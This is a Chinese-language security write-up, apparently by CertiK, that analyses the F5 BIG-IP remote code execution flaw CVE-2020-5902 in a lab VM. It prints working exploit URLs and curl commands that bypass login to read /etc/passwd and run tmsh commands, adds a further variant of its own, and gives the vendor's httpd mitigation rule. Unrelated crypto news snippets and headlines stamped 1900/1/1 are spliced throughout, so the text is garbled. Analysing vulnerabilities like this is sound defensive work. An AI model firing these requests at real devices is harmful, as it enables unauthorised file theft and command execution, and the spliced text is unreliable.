前言
今日一早起來推特以及各大技術論壇上炸開了鍋,安全圈子的人都在討論F5設備里遠程代碼執行的漏洞。很多討論的內容,大部分是在分享如何尋找目標,利用漏洞,并沒有關于對漏洞成因的分析。CertiK的安全研究員下載了存在漏洞的程序,搭建環境復現漏洞后,對漏洞的起因進行了分析,并在下文分享給大家。
背景
F5BIG-IP是美國F5公司的一款集成了網絡流量管理、應用程序安全管理、負載均衡等功能的應用交付平臺。PositiveTechnologies的研究人員MikhailKlyuchnikov發現其配置工具TrafficManagementUserInterface中存在遠程代碼執行漏洞,CVE編號為CVE-2020-5902。該漏洞CVSSv3評分為10分,攻擊者可利用該漏洞創建或刪除文件,關閉服務、執行任意的系統命令,最終獲得服務器的完全控制權。CVE具體表述請查看文章底部參考鏈接1。
受影響的BIG-IP軟件版本
漏洞利用
讀取任意文件:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
CertiK:pandorachainDAO項目遭受閃電貸攻擊:金色財經報道,據CertiK安全團隊監測,北京時間2022年6月22日19:52:57,pandorachainDAO項目遭受閃電貸攻擊,導致了價值約12.8萬美元的資產損失。[2022/6/23 1:25:12]
遠程執行tmsh命令:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
官方給出的臨時修復方案(后文會對修復進行分析):
漏洞復現
在F5的官網注冊賬號之后,可以從F5的資源庫中下載存在漏洞的BIG-IP軟件。訪問參考鏈接2可以下載BIG-IPTMOS(TrafficManagementOperatingSystem,流量管理操作系統)的虛擬機鏡像。CertiK技術團隊因為使用VmwareFusion,下載的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-ImagefilesetforVMwareESX/iServer”。
Balancer 社區發起提案激活v2協議費用,目前獲98%支持率:12月10日消息,Balancer 社區現已在Snapshot發起提案激活v2協議費用,具體費用可以設置在礦池費用的 0-50% 之間。在初始階段,協議費用將累積在金庫中,此后可用于創建 DAO 金庫指數基金、回購 BAL 等用途。目前,該提案已經獲得98%的支持率,并將在UTC時間12月12日上午6時結束。[2021/12/10 7:30:32]
在VmwareFusion中加載鏡像(import):
加載完成之后,使用默認用戶名密碼登陸系統:
用戶名:root
密碼:default
系統初始化之后,使用”ifconfig”命令查詢虛擬機IP地址。CertiK技術團隊的BIG-IPTMUI虛擬機IP地址為”172.16.4.137”。
在瀏覽器中訪問BIG-IPTMUI登陸界面:
https://172.16.4.137/tmui/login.jsp
元宇宙資產抵押借貸平臺XCarnival過CertiK四輪審計:10月10日消息,根據CertiK的官方網站,元宇宙資產抵押借貸平臺XCarnival過CertiK四輪審計。CertiK在評估了XCarnival的底層代碼后,證明XCarnival是安全的,可以實施。這是對向所有用戶開放的metaverse資產清算聚合器的認可。根據審計報告,所有嚴重錯誤均已解決。具體而言,審計師將測試重點放在測試XCarnival的智能合約對攻擊保持彈性的能力,代碼的邏輯是否按照XCarnival創建者的要求正常運行,代碼的唯一性以及是否符合行業最佳實踐。隨著XCarnival計劃啟動主網,發布XBroker和Megabox。XCarnival的核心智能合約被證明是安全的,可以實施。Certik確認XBroker和Megabox代碼是安全的,參與者將通過耕作提供流動性而獲得獎勵。同時,NFT、山寨幣和LP代幣現在可以作為資金的抵押品解鎖。(BTC Peers)[2021/10/10 20:18:33]
復現任意文件讀取:
在瀏覽器中訪問以下地址可以讀取”/etc/passwd”文件內容:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Cere Network獲得3100萬美元的融資 Polygon和Republic領投:金色財經報道,區塊鏈管理系統開發商Cere Network表示,它在由投資平臺Republic和Polygon領投的一輪融資中籌集了3100萬美元,資金將用于新員工、開發者網絡增長和應用程序開發。公司還將利用這筆資金加速將其去中心化數據云集成到Polygon的協議中,預計在與Polkadot整合的第三季度末完成。(Coindesk)[2021/9/9 23:13:11]
復現tmsh命令執行:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
漏洞分析
在進入漏洞分析前,先要明確一點:漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用戶登陸后本身是可以被訪問的。
動態 | Cere Network完成350萬美元的種子融資:據CoinDesk消息,基于區塊鏈的客戶關系管理初創公司(CRM) Cere Network剛剛完成了一輪350萬美元的種子融資。在Binance Labs、Neo Global Capital和Arrington XRP Capital等眾多公司的支持下,Cere Network在紐約開設了辦事處,并將于柏林區塊鏈周期間宣布在柏林設立創新實驗室。[2019/8/20]
下面的截圖顯示了登陸前和登陸后訪問以下URL的區別:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
登陸前訪問:
被跳轉回登陸界面
輸入賬號密碼登陸管理界面之后再訪問,可執行fileRead.jsp讀取文件。
fileRead.jsp和tmshCmd.jsp雖然是在PoC中最終被利用的文件,但是他們并不是漏洞的起因。此漏洞的本質是利用Apache和后臺Java(tomcat)對URL的解析方式不同來繞過登陸限制,在未授權的情況下,訪問后臺JSP模塊。CertiK技術人員第一次注意到此類型漏洞是在2018年Orange的BlackHat演講:“BreakingParserLogicTakeYourPathNormalizationOffandPop0DaysOut”.這里可以查看演講稿件(參考鏈接2)。
這里我們可以理解在F5BIG-IP的后臺服務器對收到了URL請求進行了兩次的解析,第一次是httpd(Apache),第二次是后一層的Java(tomcat).
在URL在第一次被Apache解析時,Apache關注的是URL的前半段https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
當Apache在看見前半段是合法URL且是允許被訪問的頁面時,就把它交給了后面的第二層。Apache在這里完全把URL里面關鍵的/..;/給無視了。
在URL在第二次被解析時,后面的Java(tomcat)會把/..;/理解為,向上返回一層路徑。此時,/login.jsp/和/..;/會抵消掉。Tomcat看到的真正請求從
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
變成了:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
再來fileRead.jsp并沒有對收到的請求進行身份驗證,后臺因此直接執行fileRead.jsp,讀取并返回了/etc/passwd文件的內容。
根據以上的思路,其實可以找出別的利用漏洞的URL,比如:
https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
這里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一樣,是一個不需要登陸就能訪問的頁面。但是因為要向上返回兩次,需要用兩個/..;/來抵消掉”/login/legal.html”。
回到開頭提到的官方給出的臨時修復方案,修復方案的本質是在httpd的配置中添加以下規則:
include'
<LocationMatch".*\\.\\.;.*">
Redirect404/
</LocationMatch>
'
這個規則的意思是,當http服務器在監測到URL中包含..;(句號句號分號)的時候,直接返回404.這樣利用漏洞的請求就沒辦法到達后臺(第二層)了。
如何避免漏洞:
此漏洞的利用方式在網絡上公開之后,因為它的攻擊成本低廉,大批黑客都開始圖謀利用此漏洞攻擊使用F5BIG-IP產品的系統。黑客只需要付出極小的代價就能獲得目標系統的控制權,對系統產生巨大的破壞。
俗話說:“不怕賊偷,就怕賊惦記”。即便這樣的黑客攻擊事件這次沒有發生在你身上,不代表你是安全的。因為很有可能黑客的下一個目標就是你。
而Certik的專業技術團隊會幫你徹底打消這種“賊惦記”的擔憂。CertiK專業滲透測試團隊會通過對此類事件的監測,第一時間給客戶提交漏洞預警報告,幫助客戶了解漏洞細節以及防護措施。此舉可以確保客戶的系統不受攻擊并且不會遭受財產損失。
同時作為一名安全技術人員,在新漏洞被發現的時,不僅需要知道漏洞是如何被黑客利用的,更要去探尋漏洞背后的原因,方可積累經驗,更加有能力在復雜的系統中發現隱藏的漏洞。
CertiK以及其技術人員,將永遠把安全當做信仰,與大家一同學習并一同成長。
參考鏈接
1.https://cve.mitre.org/
2.https://downloads.f5.com/
3.https://i.blackhat.com/
編者按:本文來自幣乎直播。Greg:很高興有機會和大家一起在幣乎做AMA!我先自我介紹一下:我在RChain已經工作了很長時間了,哈哈哈哈.
1900/1/1 0:00:00比特幣昨日的一波下行是否預示著變盤已經開始? 前幾天比特幣行情一直處于完整的三角區域整理,本來預計行情還會有繼續持續一到兩天才會開始變盤,但是昨日下午2點半開始下跌.
1900/1/1 0:00:00星際超腦作為一家以技術創新為驅動,以分布式數據存儲為核心,以城市數據中心為基礎,融合了分布式存儲技術、5G技術、云與邊緣計算技術、大數據及區塊鏈技術等創新技術.
1900/1/1 0:00:00Twitter史上最大安全事故:奧巴馬、馬斯克公開索要比特幣!美西時間7月15日中午12點,Twitter——全球最為著名的社交媒體平臺,在無聲無息中突然被黑客大規模攻擊,安全防線全面崩潰.
1900/1/1 0:00:00易天說 昨日凌晨的一波迅速下跌觸及本月最低點8818一線,然后開始快速反彈,直接回到了9100一線附近,接著又開始回落,上午直接盤整在8970附近,下午2點開始行情開始反彈.
1900/1/1 0:00:00HackFS是一個由ETHGlobal發起的,致力于為Web3世界構建基礎設施的黑客松。ETHGlobal與ProtocolLabs(開發Filecoin和IPFS的組織)共同啟動了本次活動,本.
1900/1/1 0:00:00